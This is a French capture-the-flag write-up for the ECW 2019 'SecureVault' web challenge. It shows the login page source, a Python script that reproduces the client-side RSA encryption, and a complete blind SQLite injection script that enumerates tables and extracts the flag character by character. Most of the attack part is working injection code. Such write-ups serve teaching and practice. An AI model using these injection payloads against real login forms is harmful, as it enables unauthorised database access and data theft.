ECW 2019 CTF Qualification - SecureVault
Détails du challenge
| Event | Challenge | Category | Points | Solves |
|---|---|---|---|---|
| ECW 2019 CTF Qualification | SecureVault | Web | 50 | 87 |
Yet Another online Vault mais celui-là est sécurisé avec de la cryptographie de qualité!
TL;DR
Il s’agissait d’une SQL injectionite en aveugle avec un chiffrement RSA des données soumises.
Méthodologie
Lorsqu’on arrive sur le site, on tombe sur une page de login :
Si l’on regarde le code source html, on obtient le code source suivant :
<!DOCTYPE html>
<html lang="en">
<head>
<title>Secure Vault Login</title>
<script src="https://code.jquery.com/jquery-1.8.3.min.js"></script>
<script src="static/js/jsencrypt.min.js"></script>
<script>
$(document).ready(function () {
$("#challenge").submit(function (event) {
event.preventDefault();
var encrypt = new JSEncrypt();
encrypt.setPublicKey($('#pubkey').val());
email = $('#email').val();
passwd = $('#passwd').val();
jsonlogin = {
"email": email,
"passwd": passwd
}
var encrypted = encrypt.encrypt(JSON.stringify(jsonlogin));
$.post( "/login",{encrypted:encrypted}, function( data ) {
$('#content').text(data)
$('#msg_modal').on('shown.bs.modal', function () {}).modal('show');
});
})
});
</script>
[...]
<input type=hidden id="pubkey" value="-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6NxvZHf6eBzmIvfvRAOZ
UHPL8pzY5xdrFd0qa5Gh/E215tKFQ2vMMBpF/yyA2KE55bwaQnUPNkzPxPKV5MCL
rqdobV/HO6F4m4XIDP2PA6sJUmMjhh8X6aAzQ1rgMyF+J0z6zGY2kh2LtBAGDnu5
wfY+cORY/CyJZ7y8RRxEdeTDtsVnRe/xz++9cIF6e+yYqwJLa+nHD894oFbVlSok
NJh8e2eqpkIvfVotmp4JTjDJp9bpH+ibHWi3gj/o3SXvu832LHn1d5fANB9sQ44r
UjDfhr8h0bA8ZkO5Hj9W39M5WJK9MqzgV5lgb3patN0wOosPOKRBRKdA65jRbuxo
pwIDAQAB
-----END PUBLIC KEY-----">
RSA
Tout d’abord, on peut voir que lorsqu’on essaie de se connecter au site, les données sont chiffrées avec du chiffrement RSA à l’aide d’une clé publique via JSEncrypt. Pour cela, j’ai cherché sur Google « JSEncrypt to python » et j’ai trouvé un post StackOverflow avec une petite implémentation utilisant la bibliothèque Crypto avec RSA et PKCS1_v1_5. J’ai décidé de l’implémenter :
import requests
import json
from Crypto.Cipher import PKCS1_v1_5
from Crypto.PublicKey import RSA
import base64
url = "https://web_securevault.challenge-ecw.fr/login"
s = requests.session()
cook = {"session":"[REDACTED]"}
pubkey = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6NxvZHf6eBzmIvfvRAOZ
UHPL8pzY5xdrFd0qa5Gh/E215tKFQ2vMMBpF/yyA2KE55bwaQnUPNkzPxPKV5MCL
rqdobV/HO6F4m4XIDP2PA6sJUmMjhh8X6aAzQ1rgMyF+J0z6zGY2kh2LtBAGDnu5
wfY+cORY/CyJZ7y8RRxEdeTDtsVnRe/xz++9cIF6e+yYqwJLa+nHD894oFbVlSok
NJh8e2eqpkIvfVotmp4JTjDJp9bpH+ibHWi3gj/o3SXvu832LHn1d5fANB9sQ44r
UjDfhr8h0bA8ZkO5Hj9W39M5WJK9MqzgV5lgb3patN0wOosPOKRBRKdA65jRbuxo
pwIDAQAB
-----END PUBLIC KEY-----"""
def inject(i):
data = {
"email":i,
"passwd":"x"
}
jsondata = json.dumps(data, separators=(',', ':'))
rsa_key = RSA.importKey(pubkey)
cipher = PKCS1_v1_5.new(rsa_key)
newdata = base64.b64encode(cipher.encrypt(jsondata))
r = s.post(url,{"encrypted":newdata},cookies=cook)
return r.text
print(inject("test"))
On obtient la réponse BAD USERNAME/PASSWORD ! ; à noter que si les données n’étaient pas valides, on aurait Invalid input comme réponse. Notre script rsa python fonctionne.
Injection SQLite
Avec quelques tests, on peut facilement déclencher une SQL injection :
print(inject("' OR 1=0 --"))
print(inject("' OR 1=1 --"))
Sortie :
BAD USERNAME/PASSWORD !
Welcome back! Unfortunately we are under maintenance, please come back later :)
J’ai décidé de réutiliser mon write-up A Simple Question qui portait sur une SQL injectionite. Voici donc le script complet pour dumper la base de données :
import requests
import string
import json
from Crypto.Cipher import PKCS1_v1_5
from Crypto.PublicKey import RSA
import base64
url = "https://web_securevault.challenge-ecw.fr/login"
s = requests.session()
cook = {"session":"[REDACTED]"}
pubkey = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6NxvZHf6eBzmIvfvRAOZ
UHPL8pzY5xdrFd0qa5Gh/E215tKFQ2vMMBpF/yyA2KE55bwaQnUPNkzPxPKV5MCL
rqdobV/HO6F4m4XIDP2PA6sJUmMjhh8X6aAzQ1rgMyF+J0z6zGY2kh2LtBAGDnu5
wfY+cORY/CyJZ7y8RRxEdeTDtsVnRe/xz++9cIF6e+yYqwJLa+nHD894oFbVlSok
NJh8e2eqpkIvfVotmp4JTjDJp9bpH+ibHWi3gj/o3SXvu832LHn1d5fANB9sQ44r
UjDfhr8h0bA8ZkO5Hj9W39M5WJK9MqzgV5lgb3patN0wOosPOKRBRKdA65jRbuxo
pwIDAQAB
-----END PUBLIC KEY-----"""
def isTrue(r):
return "Welcome back" in r.text or "flag" in r.text
def inject(i):
data = {
"email":i,
"passwd":"x"
}
jsondata = json.dumps(data, separators=(',', ':'))
rsa_key = RSA.importKey(pubkey)
cipher = PKCS1_v1_5.new(rsa_key)
newdata = base64.b64encode(cipher.encrypt(jsondata))
r = s.post(url,{"encrypted":newdata},cookies=cook)
return isTrue(r)
def p_inject(i):
res = inject(i)
print(i+" => "+str(res))
return res
for i in range(5):
p_inject("' OR 1=1 AND (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) = "+str(i)+" --")
# ==> Only 2 table
for i in range(10):
p_inject("' OR 1=1 AND (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' and tbl_name not like 'users' limit 1 offset 0) = "+str(i)+" --")
# ==> Table name 1 is 5 chars (users)
# ==> Table name 2 is 5 chars
tableName = ""
for i in range(7):
for c in string.printable:
r = p_inject("' OR 1=1 and (SELECT hex(substr(tbl_name,"+str(i+1)+",1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' and tbl_name NOT like 'users' limit 1 offset 0) = hex('"+str(c)+"') --")
if r:
tableName += c
break
print("Table name: "+str(tableName))
# ==> Table name is "users"
# ==> Table name is "vault"
for i in range(10):
p_inject("' OR 1=1 AND (SELECT 1 FROM vault ORDER BY "+str(i)+") --")
# ==> Answer has 1 column
for i in range(10):
p_inject("' OR 1=1 AND (SELECT count(*) FROM vault ) = "+str(i)+" --")
# ==> Answer has 1 record
p_inject("' OR 1=1 AND (SELECT 1 FROM vault ORDER BY flag) --")
# ==> Answer has 1 column named "flag" (guessing)
for i in range(45,100):
p_inject("' OR 1=1 AND (SELECT length(flag) FROM vault) > "+str(i)+" --")
# ==> Length of answer is 69
answer = ""
for i in range(69):
for c in string.printable:
r = p_inject("' OR 1=1 and (SELECT hex(substr(flag,"+str(i+1)+",1)) FROM vault) = hex('"+str(c)+"') --")
if r:
answer += c
break
print("Answer: "+str(answer))
Sortie
Answer: ECW'9b41ce0c7b102d04452213ad4d8e49f77b0813'f7f8a07882039a801d6211fd3'
Flag
ECW{9b41ce0c7b102d04452213ad4d8e49f77b0813'f7f8a07882039a801d6211fd3}